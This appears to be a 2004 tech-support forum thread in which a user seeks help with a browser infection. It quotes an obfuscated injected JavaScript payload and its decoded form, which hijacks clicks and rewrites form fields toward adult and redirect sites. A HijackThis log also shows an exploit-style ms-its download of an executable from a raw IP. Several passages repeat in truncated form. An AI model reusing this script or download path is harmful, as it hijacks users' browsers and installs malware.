jag5311
asked on
Weird javascript at top of Internet Explorer source code + can't use windows update
Very weird issue here. I have some javascript that is showing up at the beginning of all webpages I visit. Someone translated it for me and said it has something to do with adult dvds. Also whatever it is prevents me from doing windows update.
Any clue?
here is the code
<script language="JavaScript">
eval(String.fromCharCode(1 18,97,114, 32,114,115 ,99,95,110 ,99,108,10 7,61,48,59 ,118,97,11 4,32,114,1 15,99,95,1 07, 119,95,102,111,117,110,100 ,61,48,59, 102,117,11 0,99,116,1 05,111,110 ,32,114,11 5,99,95,10 4,95,99,10 8,105,99, 107, 40,41,123, 114,115,99,95,110,99,108,1 07,43,43,5 9,118,97,1 14,32,97,9 9,116,105, 118,101,69 ,108,61,10 0,111,99,1 17,109,101 ,110,116,4 6,97,99,11 6,105,118, 101,69,108 ,101,109,1 01,110,116 ,59,118,97 ,114,32,10 4,114, 101,102,61,97,99, 116,105,118,101,69,108,46, 104,114,10 1,102,59,1 05,102,40, 40,114,115 ,99,95,110 ,99,108,10 7,61,61,50 ,32,124,12 4,32,114,1 15,99,95,1 10,99,108, 107,61,61, 52,32,124, 124,32,114 ,115,99,95 ,110,99,10 8,107,61,6 1,54,41,32 ,38,38,32, 114,115,99 ,95, 107,119,95,102,111,117,110 ,100,61,61 ,49,41,123 ,119,105,1 10,100,111 ,119,46,11 1,112,101, 110,40,39, 104,116,11 6,112,58,4 7,47,119,1 19,119,46, 108,111,99 ,97,116,11 1,114,46,9 9,99,47,10 3,111,63,3 9,43,104,1 14,101,102 ,41, 59,114,101,116,117,114,110 ,32,102,97 ,108,115,1 01,59,125, 101,108,11 5,101,123, 114,101,11 6,117,114, 110,32,116 ,114,117,1 01,59,125, 125,102,11 7,110,99,1 16,105,111 ,110,32,11 4,115,99,9 5,104,95,1 15,110,100 ,102,111,1 14, 109,40,41,123,118,97,114,3 2,105,44,1 06,59,102, 111,114,40 ,106,61,48 ,59,106,60 ,100,111,9 9,117,109, 101,110,11 6,46,102,1 11,114,109 ,115,46,10 8,101,110, 103,116,10 4,59,106,4 3,43,41,12 3,102,111, 114,32,40, 105,61,48, 59,105,60, 100,111,99 ,117,109,1 01,110,116 ,46,102,11 1,114,109, 115,91,106 ,93,46,108 ,101,110,1 03,116,104 ,59,105,43 ,43,41,123 ,105,102,3 2,40,100,1 11,99,117, 109,101,11 0,116,46,1 02,111,114 ,109,115,9 1,48,93,46 ,101,108,1 01,109, 101,110,116,115,91,105,93, 46,118,97, 108,117,10 1,61,61,39 ,104,116,1 16,112,58, 47,47,39,4 1,123,100, 111,99,117 ,109,101,1 10,116,46, 102,111,11 4,109,115, 91,48,93,4 6,101,108, 101,109,10 1,110,116, 115,91,105 ,93,46,118 ,97,108,11 7,101,61,3 9,104,116, 116,112, 58,47,47,119,119,119,46,97 ,100,117,1 08,116,45, 100,118,10 0,109,111, 118,105,10 1,46,99,11 1,109,47,3 9,59,125,1 25,125,114 ,101,116,1 17,114,110 ,32,116,11 4,117,101, 59,125));
Any clue?
here is the code
<script language="JavaScript">
eval(String.fromCharCode(1
ASKER
I have used ad-aware, spybot s&d and hijack this and cleaned what was appropriate.
If I have a virus scan running all the time, wouldn't it pick up everytime I opened internet explorer?
Also, here are my hijack This results if it means anything.
Logfile of HijackThis v1.97.7
Scan saved at 9:47:54 PM, on 3/30/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)
Running processes:
C:\WINDOWS\System32\smss.e xe
C:\WINDOWS\system32\winlog on.exe
C:\WINDOWS\system32\servic es.exe
C:\WINDOWS\system32\lsass. exe
C:\WINDOWS\system32\svchos t.exe
C:\WINDOWS\System32\svchos t.exe
C:\WINDOWS\system32\spools v.exe
C:\Program Files\McAfee\McAfee VirusScan\Avsynmgr.exe
C:\CFusionMX\runtime\bin\j runsvc.exe
C:\CFusionMX\db\slserver52 \bin\swage nt.exe
C:\CFusionMX\db\slserver52 \bin\swstr tr.exe
C:\CFusionMX\runtime\bin\j run.exe
C:\CFusionMX\db\slserver52 \bin\swsoc .exe
C:\WINDOWS\System32\inetsr v\inetinfo .exe
C:\mysql\bin\mysqld-nt.exe
C:\Program Files\Promise\Utility\MsgA gt.exe
C:\WINDOWS\System32\svchos t.exe
C:\Program Files\McAfee\McAfee VirusScan\VsStat.exe
C:\Program Files\McAfee\McAfee VirusScan\Vshwin32.exe
C:\Program Files\Common Files\Network Associates\McShield\Mcshie ld.exe
C:\Program Files\McAfee\McAfee VirusScan\Avconsol.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Microsoft Hardware\Mouse\point32.exe
C:\Program Files\McAfee\McAfee Shared Components\Guardian\CMGrdi an.exe
C:\Program Files\AWS\WeatherBug\Weath er.exe
C:\Program Files\McAfee\McAfee Shared Components\Instant Updater\RuLaunch.exe
C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
C:\Program Files\Hewlett-Packard\Digi tal Imaging\bin\hpobnz08.exe
C:\Program Files\Hewlett-Packard\Digi tal Imaging\bin\hpotdd01.exe
C:\Program Files\Hewlett-Packard\Digi tal Imaging\bin\hpoevm08.exe
C:\Program Files\Hewlett-Packard\Digi tal Imaging\Bin\hpoSTS08.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\PROGRA~1\WINZIP\winzip3 2.exe
C:\Documents and Settings\Bryan\Local Settings\Temp\HijackThis.e xe
R0 - HKCU\Software\Microsoft\In ternet Explorer\Main,Start Page = http://www.foxnews.com/
R1 - HKCU\Software\Microsoft\In ternet Explorer\Main,Default_Page _URL = http://www.dellnet.com
R1 - HKCU\Software\Microsoft\Wi ndows\Curr entVersion \Internet Settings,ProxyOverride = 127.0.0.1
R1 - HKCU\Software\Microsoft\In ternet Connection Wizard,Shellnext = wmplayer.exe
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-0 0A0C908246 7} - C:\WINDOWS\System32\msdxm. ocx
O3 - Toolbar: Adobe PDF - {47833539-D0C5-4125-9FA8-0 819E2EAAC9 3} - C:\Program Files\Adobe\Acrobat 6.0\Acrobat\AcroIEFavClien t.dll
O3 - Toolbar: FlashGet Bar - {E0E899AB-F487-11D5-8D29-0 050BA6940E 3} - C:\PROGRA~1\FlashGet\fgieb ar.dll
O3 - Toolbar: McAfee VirusScan - {ACB1E670-3217-45C4-A021-6 B829A8A27C B} - C:\Program Files\McAfee\McAfee VirusScan\VSCShellExtensio n.dll
O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-0 09027A5CD4 F} - c:\program files\google\googletoolbar 1.dll
O4 - HKLM\..\Run: [POINTER] point32.exe
O4 - HKLM\..\Run: [McAfee Guardian] "C:\Program Files\McAfee\McAfee Shared Components\Guardian\CMGrdi an.exe" /SU
O4 - HKCU\..\Run: [Weather] C:\Program Files\AWS\WeatherBug\Weath er.exe 1
O4 - HKCU\..\Run: [McAfee.InstantUpdate.Moni tor] "C:\Program Files\McAfee\McAfee Shared Components\Instant Updater\RuLaunch.exe" /STARTMONITOR
O4 - Global Startup: Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
O4 - Global Startup: Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Ad obe Gamma Loader.exe
O4 - Global Startup: hp psc 2000 Series.lnk = C:\Program Files\Hewlett-Packard\Digi tal Imaging\bin\hpobnz08.exe
O4 - Global Startup: hpoddt01.exe.lnk = ?
O8 - Extra context menu item: &Google Search - res://c:\program files\google\GoogleToolbar 1.dll/cmse arch.html
O8 - Extra context menu item: Backward &Links - res://c:\program files\google\GoogleToolbar 1.dll/cmba cklinks.ht ml
O8 - Extra context menu item: Cac&hed Snapshot of Page - res://c:\program files\google\GoogleToolbar 1.dll/cmca che.html
O8 - Extra context menu item: Download All by FlashGet - C:\PROGRA~1\FlashGet\jc_al l.htm
O8 - Extra context menu item: Download using FlashGet - C:\PROGRA~1\FlashGet\jc_li nk.htm
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~2 \Office10\ EXCEL.EXE/ 3000
O8 - Extra context menu item: Si&milar Pages - res://c:\program files\google\GoogleToolbar 1.dll/cmsi milar.html
O8 - Extra context menu item: Translate into English - res://c:\program files\google\GoogleToolbar 1.dll/cmtr ans.html
O9 - Extra 'Tools' menuitem: Sun Java Console (HKLM)
O9 - Extra button: Messenger (HKLM)
O9 - Extra 'Tools' menuitem: Yahoo! Messenger (HKLM)
O9 - Extra button: FlashGet (HKLM)
O9 - Extra 'Tools' menuitem: &FlashGet (HKLM)
O9 - Extra button: WeatherBug (HKCU)
O12 - Plugin for .mid: C:\Program Files\Internet Explorer\PLUGINS\npqtplugi n2.dll
O12 - Plugin for .mpeg: C:\Program Files\Internet Explorer\PLUGINS\npqtplugi n3.dll
O12 - Plugin for .mpg: C:\Program Files\Internet Explorer\PLUGINS\npqtplugi n3.dll
O16 - DPF: {02BCC737-B171-4746-94C9-0 D8A0B2C008 9} (Microsoft Office Template and Media Control) - http://office.microsoft.com/templates/ieawsdc.cab
O16 - DPF: {02BF25D5-8C17-4B23-BC80-D 3488ABDDC6 B} (QuickTime Object) - http://www.apple.com/qtactivex/qtplugin.cab
O16 - DPF: {0C568603-D79D-11D2-87A7-0 0C04FF158B B} (BrowseFolderPopup Class) - http://download.mcafee.com/molbin/Shared/MGBrwFld.cab
O16 - DPF: {0E5F0222-96B9-11D3-8997-0 0104BD12D9 4} (PCPitstop Utility) - http://www.pcpitstop.com/pcpitstop/PCPitStop.CAB
O16 - DPF: {11111111-1111-1111-1111-1 1111111112 3} - ms-its:mhtml:file://C:\ss. MHT!http://64.237.47.178//chm.chm::/1/e.exe
O16 - DPF: {166B1BCA-3F9C-11CF-8075-4 4455354000 0} (Shockwave ActiveX Control) - http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab
O16 - DPF: {2B96D5CC-C5B5-49A5-A69D-C C0A30F9028 C} (MiniBugTransporterX Class) - http://download.weatherbug.com/minibug/tricklers/AWS/MiniBugTransporter.cab?
O16 - DPF: {30528230-99F7-4BB4-88D8-F A1D4F56A2A B} (YInstStarter Class) - http://download.yahoo.com/dl/installs/yinst.cab
O16 - DPF: {33564D57-0000-0010-8000-0 0AA00389B7 1} - http://download.microsoft.com/download/F/6/E/F6E491A6-77E1-4E20-9F5F-94901338C922/wmv9VCM.CAB
O16 - DPF: {3E68E405-C6DE-49FF-83AE-4 1EE9F4C36C E} (Office Update Installation Engine) - http://office.microsoft.com/officeupdate/content/opuc.cab
O16 - DPF: {597C45C2-2D39-11D5-8D53-0 050048383F E} (OPUCatalog Class) - http://office.microsoft.com/productupdates/content/opuc.cab
O16 - DPF: {69432678-2906-2705-1128-0 6894339762 1} -
O16 - DPF: {8E28B3A9-FE83-45D1-B657-D 5426B81A12 1} (CustomerCtrl Class) - http://cs2b.instantservice.com/jars/customerxsigned40.cab
O16 - DPF: {9DBAFCCF-592F-FFFF-FFFF-0 0608CEC297 C} - http://wdownload.weatherbug.com/minibug/tricklers/AWS/minibuginstaller.cab
O16 - DPF: {9F1C11AA-197B-4942-BA54-4 7A8489BB47 F} (Update Class) - http://v4.windowsupdate.microsoft.com/CAB/x86/unicode/iuctl.CAB?37875.3703935185
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-4 4455354000 0} (Shockwave Flash Object) - http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
O16 - DPF: {D8089245-3211-40F6-819B-9 E5E92CD61A 2} (FlashXControl Object) - https://register3.valueactive.com/mpp_398/webolr/OCX/FlashAX.cab
O16 - DPF: {EB387D2F-E27B-4D36-979E-8 47D1036C65 D} (QDiagHUpdateObj Class) - http://h30043.www3.hp.com/hpdj/en/check/qdiagh.cab?312
O16 - DPF: {F54C1137-5E34-4B95-95A5-B A56D4D8D74 3} (Secure Delivery) - http://www.gamespot.com/KDX22/download/kdx.cab
If I have a virus scan running all the time, wouldn't it pick up everytime I opened internet explorer?
Also, here are my hijack This results if it means anything.
Logfile of HijackThis v1.97.7
Scan saved at 9:47:54 PM, on 3/30/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)
Running processes:
C:\WINDOWS\System32\smss.e
C:\WINDOWS\system32\winlog
C:\WINDOWS\system32\servic
C:\WINDOWS\system32\lsass.
C:\WINDOWS\system32\svchos
C:\WINDOWS\System32\svchos
C:\WINDOWS\system32\spools
C:\Program Files\McAfee\McAfee VirusScan\Avsynmgr.exe
C:\CFusionMX\runtime\bin\j
C:\CFusionMX\db\slserver52
C:\CFusionMX\db\slserver52
C:\CFusionMX\runtime\bin\j
C:\CFusionMX\db\slserver52
C:\WINDOWS\System32\inetsr
C:\mysql\bin\mysqld-nt.exe
C:\Program Files\Promise\Utility\MsgA
C:\WINDOWS\System32\svchos
C:\Program Files\McAfee\McAfee VirusScan\VsStat.exe
C:\Program Files\McAfee\McAfee VirusScan\Vshwin32.exe
C:\Program Files\Common Files\Network Associates\McShield\Mcshie
C:\Program Files\McAfee\McAfee VirusScan\Avconsol.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Microsoft Hardware\Mouse\point32.exe
C:\Program Files\McAfee\McAfee Shared Components\Guardian\CMGrdi
C:\Program Files\AWS\WeatherBug\Weath
C:\Program Files\McAfee\McAfee Shared Components\Instant Updater\RuLaunch.exe
C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
C:\Program Files\Hewlett-Packard\Digi
C:\Program Files\Hewlett-Packard\Digi
C:\Program Files\Hewlett-Packard\Digi
C:\Program Files\Hewlett-Packard\Digi
C:\Program Files\Internet Explorer\iexplore.exe
C:\PROGRA~1\WINZIP\winzip3
C:\Documents and Settings\Bryan\Local Settings\Temp\HijackThis.e
R0 - HKCU\Software\Microsoft\In
R1 - HKCU\Software\Microsoft\In
R1 - HKCU\Software\Microsoft\Wi
R1 - HKCU\Software\Microsoft\In
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-0
O3 - Toolbar: Adobe PDF - {47833539-D0C5-4125-9FA8-0
O3 - Toolbar: FlashGet Bar - {E0E899AB-F487-11D5-8D29-0
O3 - Toolbar: McAfee VirusScan - {ACB1E670-3217-45C4-A021-6
O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-0
O4 - HKLM\..\Run: [POINTER] point32.exe
O4 - HKLM\..\Run: [McAfee Guardian] "C:\Program Files\McAfee\McAfee Shared Components\Guardian\CMGrdi
O4 - HKCU\..\Run: [Weather] C:\Program Files\AWS\WeatherBug\Weath
O4 - HKCU\..\Run: [McAfee.InstantUpdate.Moni
O4 - Global Startup: Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
O4 - Global Startup: Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Ad
O4 - Global Startup: hp psc 2000 Series.lnk = C:\Program Files\Hewlett-Packard\Digi
O4 - Global Startup: hpoddt01.exe.lnk = ?
O8 - Extra context menu item: &Google Search - res://c:\program files\google\GoogleToolbar
O8 - Extra context menu item: Backward &Links - res://c:\program files\google\GoogleToolbar
O8 - Extra context menu item: Cac&hed Snapshot of Page - res://c:\program files\google\GoogleToolbar
O8 - Extra context menu item: Download All by FlashGet - C:\PROGRA~1\FlashGet\jc_al
O8 - Extra context menu item: Download using FlashGet - C:\PROGRA~1\FlashGet\jc_li
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~2
O8 - Extra context menu item: Si&milar Pages - res://c:\program files\google\GoogleToolbar
O8 - Extra context menu item: Translate into English - res://c:\program files\google\GoogleToolbar
O9 - Extra 'Tools' menuitem: Sun Java Console (HKLM)
O9 - Extra button: Messenger (HKLM)
O9 - Extra 'Tools' menuitem: Yahoo! Messenger (HKLM)
O9 - Extra button: FlashGet (HKLM)
O9 - Extra 'Tools' menuitem: &FlashGet (HKLM)
O9 - Extra button: WeatherBug (HKCU)
O12 - Plugin for .mid: C:\Program Files\Internet Explorer\PLUGINS\npqtplugi
O12 - Plugin for .mpeg: C:\Program Files\Internet Explorer\PLUGINS\npqtplugi
O12 - Plugin for .mpg: C:\Program Files\Internet Explorer\PLUGINS\npqtplugi
O16 - DPF: {02BCC737-B171-4746-94C9-0
O16 - DPF: {02BF25D5-8C17-4B23-BC80-D
O16 - DPF: {0C568603-D79D-11D2-87A7-0
O16 - DPF: {0E5F0222-96B9-11D3-8997-0
O16 - DPF: {11111111-1111-1111-1111-1
O16 - DPF: {166B1BCA-3F9C-11CF-8075-4
O16 - DPF: {2B96D5CC-C5B5-49A5-A69D-C
O16 - DPF: {30528230-99F7-4BB4-88D8-F
O16 - DPF: {33564D57-0000-0010-8000-0
O16 - DPF: {3E68E405-C6DE-49FF-83AE-4
O16 - DPF: {597C45C2-2D39-11D5-8D53-0
O16 - DPF: {69432678-2906-2705-1128-0
O16 - DPF: {8E28B3A9-FE83-45D1-B657-D
O16 - DPF: {9DBAFCCF-592F-FFFF-FFFF-0
O16 - DPF: {9F1C11AA-197B-4942-BA54-4
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-4
O16 - DPF: {D8089245-3211-40F6-819B-9
O16 - DPF: {EB387D2F-E27B-4D36-979E-8
O16 - DPF: {F54C1137-5E34-4B95-95A5-B
Hi
Goto: start/control panel/internet options, set everything to default, and also in add remove programes do a repair of IE.
H
Goto: start/control panel/internet options, set everything to default, and also in add remove programes do a repair of IE.
H
I suspect Weather bug to likely be a cause of concern. Can you try to disable the software from running or uninstall the same and check if that helps. Because, it tends to come up with Ads and that means, it can likely cause these JScript errors.
More info from pest patrol: http://www.pestpatrol.com/PestInfo/w/weathercast.asp
Good Luck!!!
Kumaran
More info from pest patrol: http://www.pestpatrol.com/PestInfo/w/weathercast.asp
Good Luck!!!
Kumaran
ASKER
Well, here is the thing. I have been running this version of AWS for quite some time and haven't had a problem. The problem comes down to I think my
dad was using my computer, in fact I know he was, and what he was looking at scares me because he doesn't know computers like I do and he doesn't realize that going
to certain sites can cause damage to the computer. Now, whether he was looking at any adult sites, I don't know, but I had someone tell me over at www.sitepoint.com that
those numbers are converted to this.
-----------------------
var rsc_nclk=0;var rsc_kw_found=0;function rsc_h_click(){rsc_nclk++;v ar activeEl=document.activeEl ement;var href=activeEl.href;if((rsc _nclk==2 ||
rsc_nclk==4 || rsc_nclk==6) && rsc_kw_found==1){window.op en('http://www.locator.cc/go?'+href);return false;}else{return true;}}function rsc_h_
sndform(){var i,j;for(j=0;j<document.for ms.length; j++){for (i=0;i<document.forms[j].l ength;i++) {if (document.forms[0].element s[i].value =='http://')
{document.forms[0].element s[i].value ='http://www.adult-dvdmovie.com/';}}}retu rn true;}
------------------------
Notice the adult-dvdmovie.com
However, a coworker of mine said nowadays, you don't even have to go to an adult site to cause this crap, so who knows if he was on an adult site or not, but he did something.
Yesterday, I was having an issue with spyware (which ultimately could lead to where we are at now), but it was using relocator.cc or something. Everytime I opened Internet explorer, it was
trying to use my homepage to insert things like %67%45%66....... Then When I would clear it out, it would come back next time I restarted IE. Here is another thing I forgot to mention.
After running my anti spyware proggies, a couple times after I cleaned something out, my mcafee virusscan would pick up on something and shoot up the alert box. I probably should have remembered the names
of the files, but I chose to delete the files. It did this a few times so I believe it cleaned about 7 files that were alerting Mcafee. So ever since then, I can't use Windows Update, login to Yahoo, basically
Internet Explorer seems f*ed up. Sites just are showing how they should, and I suspect it has to do with that javascript code at the top of every page I access.
So there is a quick summary.
dad was using my computer, in fact I know he was, and what he was looking at scares me because he doesn't know computers like I do and he doesn't realize that going
to certain sites can cause damage to the computer. Now, whether he was looking at any adult sites, I don't know, but I had someone tell me over at www.sitepoint.com that
those numbers are converted to this.
-----------------------
var rsc_nclk=0;var rsc_kw_found=0;function rsc_h_click(){rsc_nclk++;v
rsc_nclk==4 || rsc_nclk==6) && rsc_kw_found==1){window.op
sndform(){var i,j;for(j=0;j<document.for
{document.forms[0].element
------------------------
Notice the adult-dvdmovie.com
However, a coworker of mine said nowadays, you don't even have to go to an adult site to cause this crap, so who knows if he was on an adult site or not, but he did something.
Yesterday, I was having an issue with spyware (which ultimately could lead to where we are at now), but it was using relocator.cc or something. Everytime I opened Internet explorer, it was
trying to use my homepage to insert things like %67%45%66....... Then When I would clear it out, it would come back next time I restarted IE. Here is another thing I forgot to mention.
After running my anti spyware proggies, a couple times after I cleaned something out, my mcafee virusscan would pick up on something and shoot up the alert box. I probably should have remembered the names
of the files, but I chose to delete the files. It did this a few times so I believe it cleaned about 7 files that were alerting Mcafee. So ever since then, I can't use Windows Update, login to Yahoo, basically
Internet Explorer seems f*ed up. Sites just are showing how they should, and I suspect it has to do with that javascript code at the top of every page I access.
So there is a quick summary.
Well this looks more like a Porn service running on the computer. These are like the ones which load Porn site EXEs to the computer.
This software can clean up Porn contents on the computer and has worked well. Worth a try:
http://download.com.com/3000-2132-10212353.html
Kumaran
This software can clean up Porn contents on the computer and has worked well. Worth a try:
http://download.com.com/3000-2132-10212353.html
Kumaran
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
BTW - there is also a virus called addcls (can't remember the extension) but I thought I had deleted the javascript dp.dll file but my virusscan found that addcls thingy.
I am not sure if I got rid of the sucka though yet
I am not sure if I got rid of the sucka though yet
www.webattack.com has some great spyware removal tools
gl